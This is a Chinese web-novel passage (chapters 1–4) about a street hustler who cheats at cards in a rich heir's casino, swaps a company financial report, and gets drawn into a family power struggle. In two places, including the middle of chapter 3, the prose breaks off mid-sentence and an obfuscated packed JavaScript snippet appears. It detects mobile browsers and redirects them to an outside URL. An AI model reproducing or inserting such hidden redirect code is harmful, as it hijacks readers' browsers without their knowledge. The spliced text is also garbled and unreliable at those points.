《天才街霸玩转恋爱守则》 1. 第 1 章 北城地下赌场。 陈远豪往里面走,鎏金吊灯洒下暖光,丝绒地毯吸走了杂响,精致的实木赌桌旁围坐着衣着光鲜的赌客。 里面隐隐传来筹码碰撞的清脆声与男人的高声争执,他微微蹙起眉头,视线越过一群凑着身子看热闹的人,定格在某一处。 “没钱?行,那就用你这只右手来抵!” 只见那胖子脸都白了,哆嗦着喊:“大侠饶命!饶命啊!您瞅瞅我这手,它……它哪配得上您这刀啊!留着还能给您递烟倒茶,砍了纯属糟践刀不是?” “少废话!” 菜刀劈下,就要落在那只按在牌桌上的肥手上。 眼看着就要见血。千钧一发之际,以十万火急的速度赶到这张赌桌的陈远豪探手向前,猛地扣住了握刀的手腕。 “活腻了是吧?”拿刀的男人梗着脖子吼,手腕使劲挣了挣,却跟被铁钳夹住似的纹丝不动。愣了愣,才抬眼看向拦着他的人。 少年眉骨很高,向两侧舒展开;眼梢狭长而上挑,五官立体得像刀刻出来的,极具冲击力。他脸上没什么表情,眼神冷得像冰,一股子生人勿近的压迫感扑面而来。 被这眼神一慑,男人手心一紧,银白的刀刃在他微微颤抖的手里闪着亮光。转瞬即逝间,他手里的菜刀已被抽走。 陈远豪随手一扬,刀“嗖”地飞出去,不偏不倚扎在对面的牌桌上。 正拍桌喊“同花顺!给钱!”的壮汉手背上一凉,低头见菜刀直挺挺扎在桌上,刀把还在颤,吓得手里的钞票撒了一地。 周遭瞬间静了下来,一屋子人都直勾勾盯着这个穿着黑短袖黑长裤、浑身带着股狠劲的年轻人。 “阿豪,你可算来了!!”白刚魂儿都快吓飞了,忙不迭把手背到身后。 陈远豪瞥了白刚一眼,早跟这不着调的货说过这地方水深得很,偏不听劝,非要往里头钻。果不其然,又惹出这堆烂摊子,还得让人叫自己来捞他,真是上辈子欠了他的。 可骂归骂,脚还是诚实地站在了这儿。真要是不管,这小子指不定得被折腾成什么样。 撇撇嘴正要说话,阴狠的声音插了进来:“陈远豪,这是老子的场子,不是你这种野路子混混能撒野的地方。” 说话的人是杨俊伟,北城名门望族杨家的小儿子,各界商业大佬见了他,都得客客气气叫声“三少”。 这家赌场,便是这位小少爷的手笔。 好汉不吃眼前亏,做人得懂审时度势。陈远豪上一秒周身还凝着冷硬的气场,这一秒便收了锋芒,唇角勾着抹玩世不恭的笑,语气却透着几分分寸:“三少这话可折煞我了,借我十个胆子,也不敢在您的地界上撒野。” 他说着,指尖漫不经心地在身侧虚点了两下,姿态看着散漫,眼神里却没半分真的服软:“我今儿来就是捞个人。您瞧刚子那怂样,在您这儿杵着多碍眼,我赶紧把他拎走,省得污了三少的眼,不是?” “你说谁怂呢?”白刚十万个不服气地嚷嚷。 陈远豪斜了他一眼,那眼神冷飕飕的。白刚立马像被扎破的气球似的泄了气,讪讪地说:“谁怂能有我怂啊。” 杨俊伟指尖夹着雪茄,火苗舔过烟丝时嗤地一声,他偏头吸了口,再抬眼时烟圈慢悠悠飘出来,轻慢地说:“什么刚子盆子杯子的,来这儿就得讲规矩。要么交钱,要么留手。你想捞人?把钱拿出来。” 谁能想到这横着走的小霸王杨俊伟才十九岁,跟陈远豪一样大。旁人不懂这个仗着宠爱就肆意妄为的杨家三少,陈远豪却看得透彻。 他看似不在乎旁人的看法,实则很在意别人的态度。 上个月,陈远豪接了代上体育课的活,在院系篮球赛上露了手。运球是街头野路子的花哨,投篮却极准,晃过对方中锋时还冲场边女生吹口哨,一人独得二十多分,赢了杨俊伟的队。 杨俊伟好面子,想再比却查不到这位“神射手”,最后才知对方是街头混混。 被混混赢了,他哪咽得下这口气,放话要教训陈远豪。陈远豪不想被这傻逼缠,主动找上门,假意认了怂:“杨少,之前是我运气好,我认您做大哥还不成?”杨俊伟得了台阶,便放了他。 陈远豪觉着,不如就借着他这死要面子的劲儿赌一把。反正他现在兜里比脸还干净,索性扯了扯嘴角,语气带着点商量的圆滑:“眼下手头确实紧,一时半会儿凑不齐。”顿了顿又道,“但我现在就能赚回来。” 果然,杨俊伟来了兴致,眉梢一挑:“现在赚回来?现赌现赚?这还没开牌呢,就先惦记着赊本儿翻本了?” 陈远豪漫不经心地笑了笑:“刚子输了多少,我替他赢回来,这不就一笔勾销了?” 杨俊伟眉峰挑得更高,像是正揣着股没处撒的兴致,玩味道:“行,本少爷就给你这个机会。亲自陪你玩两把。” 白刚也给陈远豪加了压力:“阿豪,你可一定要赢啊,我的小命就在你手里了!你忍心让我命丧赌场吗?” 赌博这东西,本就没什么常胜将军,何况这赌场黑得很,坑过的人没有一千也有九百九十九。 今儿这局,赢了还有转圜余地,输了,别说救白刚,自己这只手怕也得交代在这儿。 陈远豪笑得憨了些:“我这三脚猫的牌术,不过是为了捞兄弟才硬撑着。待会儿开玩,还盼着三少多担待。您身份摆在这儿,要是真动了旁门左道的心思,传出去反倒有损您的名声,这多不值当?” “少废话。”杨俊伟叼着雪茄往椅背上一靠,眼神轻蔑。他一个养尊处优的少爷,还能玩不过个街头混混?当然要凭真本事把这小子压下去。“四人斗地主,赶紧的。”很快,场子就凑齐了四个人。 赌场的托儿见三少动了真格,附和道,“为了公平,洗完直接摊在桌上,按顺序轮流抽。”三对一,还能让这小子赢了? 陈远豪眼底掠过一丝得逞。他们不出老千,他可要出了。 都到了赌场这种地方,还提什么道德高尚?规矩都是给蠢人定的,能赢才是硬道理。 陈远豪也从裤兜里摸出打火机,点了根烟。他指尖夹着烟,指节轻轻叩着桌面,另一只手看似随意地揉着太阳穴,眼皮半垂,模样像是在缓解紧张。 可没人发现,他眼角的余光跟装了精密仪器似的。 荷官洗牌时,每张牌的轨迹、尤其是那几张ACE的落点,都被他在心底记得分毫不差。 他十九年来为了生计,什么营生没接触过?就连魔术师的行当,也曾客串过。 轮到摸牌时,陈远豪指尖在牌堆上看似随意一滑,动作快得让人看不清,精准抽走了他记准位置的那张ACE,在旁人看来,这不过是顺理成章的动作。 牌局一圈圈玩下去,杨俊伟指间的雪茄烟灰积了长长一截也没察觉,神色从最初的势在必得,渐渐沉得像块浸了水的铅。 最后一把牌甩在桌上时,带着股压不住的躁火,周遭的人见三少动了气,全都敛了声息,连呼吸都放轻了。 陈远豪知进退,半点没露得意,摆出副见好就收的样子:“今儿纯属手气好。以前都臭得很,”眼角瞟了眼被俩汉子按着肩膀的白刚,语气放软了些,“三少,我能带刚子走了不?” “你赢的数,是够抵他输的。”杨俊伟紧抿着唇,强压着没发作。当着这么多人的面动怒,反倒显得自己输不起。 他也想不通这混混手气好得邪门,牌面张张都硬得很,“但我没说过,赢了就能放人。” 输了就他妈玩文字游戏。陈远豪目光里倏地沁出点冰冷,转瞬又浮起惯常的散漫笑意,语气带了点探询:“那三少的意思是?” 杨俊伟扫了眼周围,递过去个眼神。陈远豪心领神会,跟着他往休息室走。 进了屋,杨俊伟一屁股陷进沙发里,抬眼打量他的目光带着点居高临下的审视。 陈远豪先开了口:“三少有什么条件,不妨直说。” “你刚才没在牌里动手脚?”杨俊伟总觉得哪里不对,可抓不到把柄。 “借我个胆子,也不敢在三少眼皮子底下耍花样啊。”陈远豪顺着话头捧了一句 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尽管杨俊伟一直在找补,但陈远豪心里清楚,那底单经不起细查。他不知道杨家三少因何着急挪用公款,反正有一点可以肯定,绝不是什么好事。 见杨俊伟从沙发上拿起一个档案袋:“这里面是替换用的明细页,编号和格式都对好了,就这半天窗口期,明天一早秘书送文件去我爸办公室,就彻底没机会了。” * 陈远豪不情不愿地接下了这桩“替换财报”的活儿,时限只有今晚。 而且只有这一次。 他虽然混,但之前都是从事正当职业,从来不沾这些鸡鸣狗盗的事儿。谁让他们身处底层,很多时候不过是为了生活,才不得不低头罢了。 D公司夜间工作人员虽比白天少,安保却半分不松,各出入口均需刷卡核验,想悄无声息潜入绝非易事。 好在天无绝人之路。他此前已打听清楚,D公司收发室电脑主板故障,今晚七点会有维修工上门换配件。 陈远豪算准时间候在大楼侧门,趁维修工签收访客登记单的空档,一记手刀劈在对方后颈。那人未及哼声便软倒,他迅速剥下印有“迅捷维修”的工装套在自己身上,将昏迷的维修工拖进消防通道杂物间反锁。 陈远豪混进了收发室。 这个连小学毕业证都拿不出的男人,是个天生的技术鬼才。几年前他用了三个月自学完全网的维修教程,此前还去过网吧做修理工作,攒下不少实操经验,所以维修电脑对他来说就像喝水一样容易。 故障排除后,他以需要等待系统重启校验为由留在室内。 陈远豪扫过天花板四角,嵌入式监控探头正无声运转。 留给自己的时间,只有监控画面传输至安保室的一分钟延迟,再加上保安从值班室抵达收发室的一分钟响应时间。 他掀开衣服,从工装裤腰带内侧的夹层中抽出档案袋,拉开标着“XXXX”的抽屉,果然看到了杨俊伟说的那份财报。 陈远豪微微眯起眼,唇角扯出个桀骜的冷弧。 既然杨俊伟不守信用,他何必不借此机会摆那孙子一道? 完成替换后,他把原文件塞到裤腰里,转身带上门。 电梯平稳降至一楼。估摸着,这会儿监控室的值班人员已经发现了异常,保安正往这边追。 但陈远豪并不慌张,如果门口保安敢拦,凭他的身手,撂倒几个绰绰有余。 “叮——” 电梯门刚滑开一条缝,陈远豪就像离弦的箭般窜了出去。 脚刚落地,身侧突然传来一道声音,甜腻得像浸过蜜浆,尾音却带了点冷冽:“急着走?活儿还没验收呢。” 陈远豪眼皮都没抬一下,像是没听见似的,脚步没停。这种时候,废话越多越危险。 可手腕突然一紧,那股力道大得惊人,像被铁钳攥住,骨头缝里都透着疼。 下一瞬,陈远豪感觉到有一只手,在自己腰腹处摸来摸去。 “你这里,装着什么啊?” 2. 第 2 章 真点儿背啊。万事俱备就差临门一脚。没办法,陈远豪只能抬起头。 可就这一眼,心脏像是被无形的手攥紧,猛地一颤。 对方顶着一头浅色头发,明明是亚裔,五官却有着白人般的立体,如刀刻的线条中带着几分清隽柔和,美而不娘。唇线分明的薄唇天然带着点上翘的弧度,仿佛随时都噙着抹漫不经心的笑意。那双眼睛里透着若有似无的温柔缱绻,偏偏又渗出几分妖异的俊美,藏着难以言喻的邪魅和危险。 这哪里是中了基因彩票,分明是造物主耗尽心血的得意之作。连最精密的建模都难以复刻这无懈可击的容颜,说他是从神话里走出来的太阳神阿波罗,也不为过。 帅又不能顶饭吃。陈远豪手腕一翻想用巧劲挣脱,指尖刚滑出对方指缝,那只手却像长了眼睛似的,瞬间又攥得更紧。 对方指腹细腻得不像常年干活的人,带着温热的体温裹住他的手腕,力道收放间那若有似无的摩挲,像羽毛扫过皮肤,偏又透着不容挣脱的执拗,烫得他像被火燎了似的,指尖不受控地蜷了起来。 两人四目相对的刹那,对方眉梢轻挑,唇角那抹好看的笑里多了几分玩味,仿佛在说“看你往哪跑”。 现在每一秒都像在生命倒计时。陈远豪甚至能预感到,下一秒,旁边的电梯门“叮”地弹开,涌出一群高大保镖,然后把他架去警局免费过夜。 “怎么不说话了?”杨峋英低笑一声,尾音带着点猫捉老鼠的戏谑。看他形迹可疑,不过是随意一猜他藏了东西,没成想还真有猫腻。 陈远豪心一横,这年头脸面哪有小命值钱。 猛地抬起另一只手攥住对方衣领,用力堵住了对方的唇,可只触到一片冰凉就迅速撤开,快得转瞬即逝。男人果然愣了,瞳孔微微放大,攥着他的手也松了劲。 人要是狠起来,连自己的初吻都能豁出去。 陈远豪趁机推开他,浪荡地舔了下嘴唇,还挺软。随即撒腿就跑。 身后电梯门恰好“哐当”打开,五六个保安鱼贯而出。 大厦旋转门处的保安扯着嗓子喊:“穿维修工服的那个!就是他换了收发室的财报,拦住他!” 前有护卫堵截,后有追兵逼近。陈远豪俯身避开迎面挥来的手臂,借势抓住对方手腕往侧后方一拧,同时伸脚勾住旁边人的脚踝,动作干脆利落。 冲出商务大厦时,街道上车流如织,拦出租车肯定来不及了。他眼尖地瞥见停车场里一辆正在倒车的黑色轿车,拉开副驾门就钻了进去。 “师傅快踩油门!甭管往哪开,绕着地球跑都行。”陈远豪说,“放心,差不了你的车费。” 司机眼神发直,不明所以地盯着身边这个着急忙慌的男生。陈远豪急得手都按在了方向盘上,恨不能自己抢过档杆。司机这才“哦”了一声,猛地挂挡踩油门。 下一秒,驾驶座前方的手机亮了。司机划开屏幕时,眼角的余光意味深长地落在男生身上。 陈远豪总算松了口气。这年头办点事儿是真不容易,费了九牛二虎之力,还得自带心率过速特效。 懒洋洋地往座椅上一靠,刚要眯眼歇口气,却发现车窗外的街景越来越眼熟。 这不是往D集团后门开吗? 他倏地睁开眼,先瞥了眼后视镜里的路牌,又转头盯着司机的侧脸,微微蹙起眉头:“师傅,您这是开回头路呢?那儿我可不能去。” 司机没什么语气地说了一句:“你不是说往哪开都行吗?” “......”陈远豪预感不对,伸手去扳车门把手,结果纹丝不动。 “你把门锁了?”他的声音里带了点警惕。 对方没应声。 很快,陈远豪就懂了是什么意思。就是他猜的那个意思。 车稳稳停在D集团地下停车场。 夜晚的停车场被白色的路灯照着,静得叫人发怵。 “咔哒”一声,车门锁弹开了。司机推门下了车。陈远豪盯着他的背影皱了皱眉,随即嗤笑一声。 怕个球?反正要头一颗,要命一条。 他拽开车门,脚刚落地,就看见不远处站着几个人。 正是不久前差点搅黄他好事的那个男人,正似笑非笑地看着他,身后还杵着几个保安,跟门神似的。 陈远豪舌尖顶了顶牙齿,气势不能输,双手揣着裤兜悠哉游哉地走了过去,那股混不吝的江湖劲儿又上来了:“帅哥大晚上的守在这儿,是特意来等我的?” 杨峋英也往前迈了两步,两人距离骤然缩近。 近得能闻到对方身上清冽的檀木香气。 眼前这人极具矛盾感。那张漂亮得近乎妖孽的脸,竟长在一副颀长挺拔的骨架上,双腿长得离谱。看似清瘦的身形,方才攥住他手腕时,力道却大得像有使不完的劲儿。 空气凝滞了两秒,陈远豪被对方琥珀色的瞳仁看得心头发紧。 杨峥英忽然勾了勾唇角,指尖慢悠悠地蹭过自己的下唇,那动作带着点随性的挑逗:“是啊。” 在社会上混惯了的陈远豪也不是什么薄脸皮的人,轻笑了下:“味道不错。” 方才那一下偷袭似的亲吻,是离谱了些。不过,现在他更担心的是蹲局子。 他抬眼瞄了对方两秒,忽然露出个痞气的笑,缓解一下气氛:“其实吧,这事儿好办。你往我这儿也亲回来,咱俩就算扯平,谁也不欠谁的。” 杨峋英瞥了眼他等着回应的脸,眼尾漫不经心地勾了勾,带着点似有若无的深意,却没接亲吻的话茬:“要不要喝杯茶?” “帅哥不愿意亲我啊……”陈远豪故意作出一副被抛弃的委屈模样,转而又扯唇一笑,懒洋洋地说:“不亲就不亲,总不能强人所难,那就陪你喝杯茶呗,就当是我给帅哥赔个不是了。” 公司公共休息室里,两人隔着茶几对坐。 一分钟前,陈远豪左躲右闪,还是没避开男人探向他裤腰的手,藏在里面的财报也被搜了出来。 茶水袅袅升起白雾,可这哪是品茶,分明是鸿门宴。 他抬眼打量着对方。对方看了一眼桌面上的文件,骨节分明的手指有节奏地敲着白瓷杯身,有种说不出的矜贵。 他到底是什么身份?董事长?不像,瞧着也就二十出头。 杨俊伟的哥哥?也不像。杨俊伟是浓眉大眼的硬朗型,眼前这人是精致的美丽。亲兄弟总有长得相似的地方,俩人往一块儿站,说是八竿子打不着的陌生人都有人信。 普通员工?可哪有普通员工能调动保安,还敢把“嫌犯”往公司里带的? 陈远豪越想越觉得怪。这种时候多一句不如少一句,言多必失的道理,混江湖的比谁都懂。只等对方先开口,他再见招拆招。 见陈远豪迟迟不主动坦白,男人像是等不及了,抬眼开门见山地问:“为什么要换走公司的财报?是谁指使你的?” 陈远豪第一反应是狡辩抵赖,可念头刚冒出来就压了下去。事到如今,对方肯定已经看过监控,再嘴硬不过是自讨没趣。 但他还是想再混一会儿,说不定能找到转圜的余地:“什么财报?我不太明白你说的意思。今天就是去你们公司办点儿事,顺道进去转了转……” 他一边说一边观察着男人的神色,心想着怎么把这话说得更像回事。 可男人只是静静地看着他,没接话。 陈远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“前阵子三少爷去国外看他,跟他起了点口角,我刚好在场。杨少爷许是被说急了,当着一群人的面说家里人都小看他,总得干成点事让他们瞧瞧。” “后来他私下找到我,说想拿公司财报看看,琢磨着能不能找出点什么由头,证明自己不是废物。我想着就是顺手的事,哪知道……” 陈远豪胡编乱造张嘴就来,说完还故意投过去一个悻悻的眼神。 对面的男人则一脸单纯的好奇,眼神里透着浓厚的兴味,直勾勾地盯着他。 他信了? 陈远豪没瞧见,就在他飞扯谎的某个瞬间,杨峋英眼底曾掠过一丝彻骨的寒意,那里面藏着压抑的戾气与隐忍的嘲弄,像蛰伏的复仇者般,淬着复杂的锋芒。 见对方迟迟不吭声,陈远豪先开了口,语气里带着点痞气的坦诚:“怎么,不信?”他故意拖长了调子,摊开手作势要表忠心,“我人就在这儿,证据全在你手里攥着,借我个胆子也不敢编瞎话啊。” 杨峋英低笑一声:“你看着可不像会说谎的人,你说的我自然信。” “不过,我信你没用,”话锋一转,“公司里其他人也知道这事,你觉得他们会信你吗?” 这话说得在理。别的不说,单是门口那几个保安,就把他的样子记了个分明。陈远豪眯起眼,知道正题要来了,静等着他往下说。 “我可以帮你压下这些事,让他们守口如瓶。”杨峋英抬眼看向他,眸光里裹着几分故作天真的温和,仿佛真的对陈远豪的谎话深信不疑,“不过,我有个不情之请,想托你帮个忙。” 3. 第 3 章 陈远豪从屋里出来,没急着回出租房,反倒在路边花池的路缘石上一坐,摸出烟盒,抽出根烟就点着抽了起来。 谁能想到这委托还带着“连锁反应”,先前就一个,如今居然缠上了俩,想甩都甩不掉。 可自己从来不是任人拿捏的软柿子。混社会这么多年,靠的本就是见风使舵、两边找补的本事,哪能真让人攥着线,跟提线木偶似的走? 眼下的形势其实再明白不过。 那个连名字都没问清的金发男人,怕被杨俊伟在赌场里算计,特意找他,想让他配合着赢钱;至于杨俊伟那厮,开的赌场不知道坑得多少人倾家荡产,这回又言而无信,陈远豪早想找个机会,好好给他添点堵。 稍稍在心里权衡了片刻,陈远豪心里就有了主意。 他想,两边都应下来才是最划算的。 帮那金发男人,既能给杨俊伟下绊子,自己说不定还能捞点好处;顺着杨俊伟的话搭茬,又能光明正大进赌场,怎么算都不吃亏。 正想着,手机突然响了,拿起来一看,是杨俊伟发来的消息,除了让他充作局内人配合赌场运作,还特意提了一嘴,让他把财报原文件送过去。 陈远豪盯着屏幕挑了挑眉,指尖在键盘上敲了敲:【三少,昨晚去公司正巧赶上那层楼保安巡查,人多眼杂怕被发现,我就把原文件送进随身带的碎纸机搅碎了。】 * 翌日,陈远豪先去服装店租了套深色定制西装。接着找到在夜场帮人化过妆的混混兄弟崔贤,对方掏出拼夕夕九块九包邮的化妆品,对着镜子给他修了眉形,拿遮瑕膏盖掉眼角上周打架留下的淤青,最后刷上透明发蜡,将头发梳成一丝不苟的侧分。 收拾停当后,再配上西装口袋里露出的丝绸方巾角,活脱脱一副刚从金融峰会走出来的商界精英模样。 陈远豪带着崔贤去了赌场,是去接白刚的。先前帮杨俊伟把财务报表偷换的事搞定后,对方也就放了人。 白刚一出来,瞅着远处那个高瘦男人有点眼熟,屁颠屁颠就走了过去,上下打量了一圈,咧着嘴笑:“这位老哥,你这张脸跟我梦里见过的财神爷有点撞款啊,是不是咱哥俩在哪喝过二锅头?”套起了近乎。 陈远豪翻了他一眼,那标志性的微三白眼一显,冷意便顺着眉骨漫了出来。 白刚这才反应过来,眼睛瞪得溜圆:“这不是我最亲爱的好兄弟阿豪吗?快让我抱抱,这几天我可想死你了!”说着,那圆滚滚的身子就往陈远豪身上扑,被他伸胳膊一挡,结结实实推了回去。 “你可歇着吧,我宁可抱着一头猪。”陈远豪沉声说,“吃一堑长一智,下次再来这种地方,就算你喊我爸爸,我也不会捞你。” “看你说的,我这不是给你个机会证明你是我最好的兄弟吗?”白刚嬉皮笑脸地凑上来,手还不安分地摸着陈远豪的西装,“谁的关系能有我跟阿豪铁?哎……这料子摸着挺滑溜,多少钱买的?是不是偷偷藏了小金库没告诉我?”正说着,他手指勾到了衣领里的东西,一扯,那没摘的吊牌就露了出来。 陈远豪一把拍掉他的手,忙把吊牌塞回衣领里:“哪凉快哪待着去。” 崔贤这时也跟了上来,一把揽过白刚的肩膀就往出走:“赶紧走吧刚子,你看看你,兴高采烈地进去,鼻青脸肿地出来,回家,我给你上点药……” * 陈远豪进了赌场,水晶灯的光晃得人眼晕,牌桌旁的筹码碰撞声混着笑骂声扑面而来。 他一打眼就看到杨俊伟和金发男子,径直走过去热络搭话,抬手间摆出标准的社交手势,礼数周全得挑不出错:“三少好......” 随即看向男人,装作初次见面的模样,“这位该怎么称呼?” 没等男人开口,杨俊伟斜睨了对方一眼,扬声道:“我一个远房亲戚,叫阿英就行。在我家公司打杂的,今天正好手头没事,拉来凑个数。”那语气里的轻慢,像是在介绍一件无关紧要的摆设。 听着杨俊伟这带刺的腔调,这男人哪是什么亲戚,分明是块随时能被牺牲的垫脚石。老话都说,宰熟先开刀。 陈远豪对杨俊伟的鄙夷又添了几分,嘴上却笑意更深,主动伸出手:“阿英先生,幸会。” 目光微微一顿,顺势介绍自己,“我是三少的朋友,张启明,目前在XX资本负责股权投资业务。”按照杨俊伟事先吩咐,装成在金融圈有点分量的人物,震震场子。 “叫我阿英就好。”男人声音温柔,指尖轻握后便礼貌收回,笑容里听不出半分不快。 陈远豪只觉对方指尖细腻得像裹着层丝绸,一看就是养在蜜罐里没沾过半点粗活的主儿。杨俊伟这是要对这么个嫩茬下手? “这局玩的是斗地主,规矩是梯级加注,每轮底注翻倍,赢家用牌型压注,输家按倍数赔筹码。”荷官说。 四个人围坐在牌桌前,陈远豪瞥了阿英一眼,对方还像昨天那样,眼神里带着点不谙世事的澄澈,盯着洗牌的荷官;而杨俊伟则用手指敲着桌面,嘴角隐隐勾着志在必得的笑。 陈远豪不动声色地蹙了下眉。他现在一头连着杨俊伟的委托,一头应着阿英的请求,要想让牌局顺顺当当走下去,开头几局绝不能让杨俊伟输。 那家伙再蠢,输得蹊跷了也会起疑。况且这几个人都是赌场老手,必然会在牌局中做手脚,阿英今天怕是要成砧板上的肉。就算他想暗中帮衬,赌桌上的事哪有绝对的胜算? 他陈远豪算不上什么好人,坑蒙拐骗的事也没少做,但下手的对象,从来都是那些为富不仁之辈。 牌局刚开始的几轮,陈远豪配合着杨俊伟他们赢了不少钱。他本就带着混混的那股子野性,赢钱时的燥热直冲头顶,早就把正事儿抛到了脑后。 杨俊伟看着杨峋英输得越来越多,嘴角的笑就没下来过,心里头又骂他二哥是傻叉,今儿非得把老爸给二哥的零花钱掏得一干二净不可。 赌场里的时间总像被抽走了刻度,转眼功夫,杨峋英已经输了一千多万。 陈远豪瞅着坐在旁边的人又捏着支票递出去,那手指骨节微微发颤。他这才猛地从赢钱的热乎劲儿里扎出来,暗暗抽了自己一个嘴巴子。把正经事全忘了。 杨峋英的声音里带着股温雅却掩不住的疲惫,像是连多说一句都耗了力气:“算了,我这手气实在不济,再玩下去也是白费功夫,不凑这个热闹了。” 杨俊伟给旁边的托儿使了个眼色,那人立刻接话:“别啊阿英,谁没个手气背的时候?再玩几把,保准能翻本。”用带着点轻佻的力道拍了拍杨峋英的后背。 “来都来了,哪能说走就走?大家正玩得尽兴,你这时候起身,倒显得扫了众人的兴。”杨俊伟眼皮慢悠悠抬起,目光在杨峋英身上转了圈,“要是传出去,说有人牌桌上没那赢钱的本事,才输两把就扛不住想溜,传出去,面子上可不大好看啊。” 周围人你一言我一语地起哄,杨峋英被架在中间,看起来不得不又坐了下来。 这一局的结果,在陈远豪意料之中。他又输了。 陈远豪留意着杨峋英的反应,见他眼低落,遮住眸底细碎的光,又被他不动声色压了回去。 再抬眼时,他唇角扯出抹浅淡的笑,反倒添了几分漫不经心的颓:“一直输,一直输,这运气也太糟糕了。我就说这个游戏,不适合我。” 眼看杨俊伟他们又要开口怂恿,陈远豪赶紧起身:“三少,等我片刻,去趟洗手间。” 飘飘然的杨俊伟也觉得有点乏了,歪着脑袋点了根雪茄,懒洋洋地点了点头:“那就都歇会儿,等会儿再玩。” 陈远豪来到休息室,见男人正垂着脑袋坐在沙发上,本就惹眼的金发软塌塌地贴在额前,活像只被雨浇蔫了的大金毛,裹着股无精打采的耷拉劲儿。 对方察觉到他进来,缓缓抬起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305413|182815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇角没怎么弯,只是轻轻抿着。 看得陈远豪心里发沉,一屁股坐到他身边。 再瞧那双漂亮的桃花眼,眼尾微微上挑,瞳仁像浸在水里的钻石,亮得晃人。陈远豪只觉心脏漏跳了一拍,愧疚感瞬间涌了上来。 “昨天你还答应帮我,结果……”杨峋英盯着他,欲言又止道,“我输的那些钱,是家里的全部家产,现在一分不剩,回去根本没法交代。” 带着软意的无措声音让陈远豪心口发紧,没把事办好的懊恼也更重了。 他抬手摸着杨峋英的后背安抚:“我真不是故意的,就是玩着玩着上头了。刚才那把我想帮你来着,可你那牌实在没法带啊。没关系,穷有穷的好处,能让你头脑清醒,专注奋斗,还能擦亮眼睛,把身边的朋友看清楚……” 杨峋英就那么静静地看着他,没说话。 陈远豪真受不了这大美男这副可怜巴巴的模样。倒不如让他埋怨几句,或者打自己两下,心里还能好受点。 他清了清嗓子,问道:“你会出老千吗?” “倒是听过些门道,不过我很少参与赌博,自然也不学这个。” “哎我说,你连老千都不会,还敢来这种地方?”陈远豪拍了下大腿,“我昨天就忘了问,早知道你什么也不会,压根不会答应帮你……” 杨峋英唇角掠过一丝转瞬即逝的弧度。然后,声音轻轻的:“就是因为什么都不会,才找你帮忙。你不会嫌弃我吧?” “……” 回到牌桌,陈远豪刚在休息室教了杨峋英几招出老千的法子,他没指望对方短时间能学会,只想着自己多费点心思,让杨峋英赢回些本钱。 这一局刚开局,杨俊伟便给陈远豪递了个该做牌的暗号,可陈远豪假装没瞧见,非但没按事先约定的那样给杨俊伟喂牌,反倒在拆牌时故意打乱了牌路,让杨俊伟想凑顺子的计划落了空。 杨俊伟连着赢了好多局,早就有些得意忘形,没把这一局的异常放在心上,只当是陈远豪手气一时没理顺。 阿英这把的牌势虽有好转,陈远豪却没料到,自己不过跟他提过一次老千技术,对方竟然真的换了牌。 可这张牌带来的好运有限,并不足以支撑他稳赢全局。他的牌技像是突然换了个人,补牌时一张不废、顺风顺水,像运气终于眷顾,又像突然开窍,彻底摆脱了之前的颓势。 终于带男人赢下这局,陈远豪松了口气。 在一根火星就能燃爆的气氛下,沉默数秒的杨俊伟像是突然回过味来,猛地站起身,指着陈远豪怒声喝道:“你敢耍老子?” 陈远豪眼底倏地掠过一丝寒意,暗骂:老子早他妈想耍你了。 嘴上却挂着漫不经心的笑,指着桌上的牌道:“三少这话说得可就冤枉我了,阿英起手抓对A,补牌又凑了顺子,我手里的牌压不住,总不能硬拆炸弹吧?这真不是我能左右的。” 这一局赌金翻倍,杨峋英不仅回本,还净赚一千多万。比起追究陈远豪,杨俊伟更气的是输给了自己一向瞧不上眼的二哥,那股憋屈劲儿比挨了几巴掌还难受。 他盯着杨峋英,嗓子沉得像压了块石头:“再来!” 话音刚落,赌场大厅的投影仪突然亮了。 先放出杨俊伟雇人行凶致竞争对手重伤昏迷、成植物人,及相关转账记录与证人证词。 紧接着又放出他威胁供应商篡改原材料质检报告,致子公司因产品安全隐患赔付巨额赔偿金的录音与证据。 除此之外。 屏幕上还同步展示了子公司挪用总公司公款的明细数据。 而这份数据文件,正是陈远豪昨天从公司带出的那一份。 大厅里骤然落针可闻,凝滞的寂静中,众人面面相觑。 还没从这猛料里缓过神,大批记者扛着摄像机涌了进来,闪光灯在大厅里炸开一片刺眼的光,快门声噼里啪啦响成一片。 4. 第 4 章 即便在社会摸爬滚打多年的陈远豪,也被眼前这幕惊得愣了一瞬。 竟有人敢给杨俊伟设局。 更让他心头发沉的是,那份财报的原始文件,正明晃晃地呈在屏幕上。 财务报表是被阿英取走的。昨天阿英的理由说得恳切:“保安已经从监控里看到你从收发室出来,肯定会让相关人员调查有没有丢失的物件,一旦查到,你觉得你能走得了吗?” 他还承诺,会先让知情的人守紧秘密,再故意放假消息给杨俊伟,让对方误以为财报真的丢了,等风头过了,再把原文件完完整整地还回来。 陈远豪当时觉得这方案稳妥,便点头同意了。 可现在? 赌场里的议论声还在耳边飘着,陈远豪忽然定住了思绪,低眼看向杨峋英。眼神里满是提防,又掺着几分难以置信的错愕。 周遭的纷乱仿佛与杨峋英无关,他连头都没抬一下,只垂着眼专注地看着手里的支票,好像眼睛里只剩那叠薄薄的纸片。 对方似乎是感受到他的视线,动作一顿,缓缓抬眼。 四目相对的刹那,陈远豪眼底的怀疑还没藏住,杨峋英却只是眨了下眼,带着几分刚从自己世界抽离的滞涩,茫然地看着他。 警笛声由远及近,随即一群身着制服的人蜂拥而入,瞬间将热闹喧闹的赌场变成了剑拔弩张的战场。 领头的警察径直走到杨俊伟面前,目光落在那个还没从震惊中回过神的男人身上。 杨俊伟僵在原地,显然没弄懂这突如其来的变故。 